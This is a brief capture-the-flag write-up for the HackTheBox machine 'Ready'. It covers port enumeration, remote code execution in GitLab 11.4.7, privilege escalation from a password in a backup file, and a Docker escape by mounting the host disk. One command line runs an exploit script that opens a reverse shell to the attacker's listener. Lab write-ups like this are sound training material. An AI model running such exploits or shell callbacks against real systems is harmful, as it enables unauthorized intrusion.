HackTheBox - Ready
Linux machine medium level
Table of Contents
Enumeration:
Ports:
- 22 SSH
- 5080 HTTP “GitLab”
Gitlab
Before login we must be registered:
http://10.10.10.220:5080/users/sign_in
While looking at Gitlab I realized that I had version 11.4.7 and I found an RCE that is available.
Explotation:
This exploit creates an rce in a gitlab project that gives us a reverseshell when executed.
python3 rce.py -u erik1 -p erik1234 -g http://10.10.10.220 -l 10.10.14.31 -P 1234
This exploit creates a project that offers us a reverse shell, we open the project to execute the reverse.
Listening on the port indicated in the exploit:
Privilege Escalation:
The user flag can be found in “/home/dude/user.txt”.
In the path /opt/backups/gitlab.rb we will find a backup with the root password of the container.
We use the password that we have found in the backup and access the root user.
Being inside a docker we will have to try to collect information outside of it, for this we will do the following:
We mount the container host partition to be able to view it, there we will find the flag:
Machine Completed
